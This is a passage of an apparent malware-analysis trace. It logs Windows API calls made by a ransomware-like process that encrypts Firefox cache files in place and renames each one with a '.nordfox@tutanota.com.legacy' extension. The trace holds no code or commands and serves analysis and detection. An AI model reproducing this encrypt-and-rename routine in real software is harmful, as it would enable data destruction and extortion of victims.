"c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1eb2e405e2b5aff18dbd87bbfb385eed242a1ab5.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.980] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d8e48 | out: pbBuffer=0x30d8e48) returned 1 [0191.980] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.981] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7", dwFileAttributes=0x80) returned 1 [0191.981] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d7ed0 [0191.981] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.981] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e4c1de6d9bc3c738cb37d3d4e0cccdbdd4ec3e7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.981] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1593) returned 1 [0191.981] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x639) returned 0x619c48 [0191.981] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x639) returned 0x30f5890 [0191.981] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x639, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x639, lpOverlapped=0x0) returned 1 [0191.983] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1593, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.983] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x639, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x639, lpOverlapped=0x0) returned 1 [0191.983] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x639 [0191.983] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.983] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d8e48*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d8e48*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.983] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d8e48*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8e48*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.983] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.983] CloseHandle (hObject=0x1b80) returned 1 [0191.983] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e4c1de6d9bc3c738cb37d3d4e0cccdbdd4ec3e7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e4c1de6d9bc3c738cb37d3d4e0cccdbdd4ec3e7.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.985] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d7270 | out: pbBuffer=0x30d7270) returned 1 [0191.985] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0191.985] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", dwFileAttributes=0x80) returned 1 [0191.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d83f8 [0191.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.986] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e2ef845db3cbd8550ba9eef20f8d52af0fba45b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.986] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4346) returned 1 [0191.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10fa) returned 0x30f5890 [0191.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10fa) returned 0x30d9040 [0191.986] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x10fa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x10fa, lpOverlapped=0x0) returned 1 [0191.992] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4346, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.992] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9040*, nNumberOfBytesToWrite=0x10fa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10fa, lpOverlapped=0x0) returned 1 [0191.992] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10fa [0191.992] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.992] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d7270*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d7270*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.993] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7270*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7270*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.993] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.993] CloseHandle (hObject=0x1b80) returned 1 [0191.993] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e2ef845db3cbd8550ba9eef20f8d52af0fba45b"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e2ef845db3cbd8550ba9eef20f8d52af0fba45b.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.995] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d8500 | out: pbBuffer=0x30d8500) returned 1 [0191.995] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.995] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E", dwFileAttributes=0x80) returned 1 [0191.995] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d78a0 [0191.995] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.995] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d9e8d935eb05d9ae4c4ba15b9b416626e711a1e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.995] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1234) returned 1 [0191.995] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d2) returned 0x619c48 [0191.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d2) returned 0x30f5890 [0191.996] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0192.001] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.001] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0192.001] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d2 [0192.001] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.001] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d8500*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d8500*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.001] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d8500*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8500*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.001] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.002] CloseHandle (hObject=0x1b80) returned 1 [0192.002] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d9e8d935eb05d9ae4c4ba15b9b416626e711a1e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d9e8d935eb05d9ae4c4ba15b9b416626e711a1e.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.003] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d7588 | out: pbBuffer=0x30d7588) returned 1 [0192.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0192.004] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", dwFileAttributes=0x80) returned 1 [0192.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d7bb8 [0192.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.004] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d79d261da6da4377c082c90df4e5ee4ffeb51bc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.005] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6717) returned 1 [0192.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a3d) returned 0x30d9040 [0192.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a3d) returned 0x30daa88 [0192.005] ReadFile (in: hFile=0x1b80, lpBuffer=0x30d9040, nNumberOfBytesToRead=0x1a3d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesRead=0x2e1f9bc*=0x1a3d, lpOverlapped=0x0) returned 1 [0192.018] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6717, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.018] WriteFile (in: hFile=0x1b80, lpBuffer=0x30daa88*, nNumberOfBytesToWrite=0x1a3d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30daa88*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1a3d, lpOverlapped=0x0) returned 1 [0192.018] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1a3d [0192.018] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.019] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d7588*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d7588*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.019] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7588*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.019] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.019] CloseHandle (hObject=0x1b80) returned 1 [0192.019] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d79d261da6da4377c082c90df4e5ee4ffeb51bc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d79d261da6da4377c082c90df4e5ee4ffeb51bc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d8e48 | out: pbBuffer=0x30d8e48) returned 1 [0192.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.021] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F", dwFileAttributes=0x80) returned 1 [0192.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d7bb8 [0192.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.021] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d4ee0bd1687b84b2825218a1a1b8aba40ed9f3f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.022] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1234) returned 1 [0192.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d2) returned 0x619c48 [0192.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d2) returned 0x30f5890 [0192.022] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0192.030] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.030] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0192.030] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d2 [0192.030] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.031] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d8e48*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d8e48*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.031] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d8e48*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8e48*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.031] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.031] CloseHandle (hObject=0x1b80) returned 1 [0192.031] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d4ee0bd1687b84b2825218a1a1b8aba40ed9f3f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d4ee0bd1687b84b2825218a1a1b8aba40ed9f3f.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.033] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d8e48 | out: pbBuffer=0x30d8e48) returned 1 [0192.033] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.033] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F", dwFileAttributes=0x80) returned 1 [0192.033] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d7480 [0192.033] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.034] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1c069501161f85f05dfe519adecb1bafd807156f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.034] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=149255) returned 1 [0192.034] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24707) returned 0x2eeb018 [0192.034] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24707) returned 0x3520048 [0192.034] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x24707, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x24707, lpOverlapped=0x0) returned 1 [0192.053] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-149255, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.053] WriteFile (in: hFile=0x1b80, lpBuffer=0x3520048*, nNumberOfBytesToWrite=0x24707, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x24707, lpOverlapped=0x0) returned 1 [0192.054] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x24707 [0192.054] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.054] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d8e48*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d8e48*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.054] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d8e48*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8e48*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.054] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.054] CloseHandle (hObject=0x1b80) returned 1 [0192.054] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1c069501161f85f05dfe519adecb1bafd807156f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F.1506877342345.nordfox@tutanota.com.legacy" (normalized: 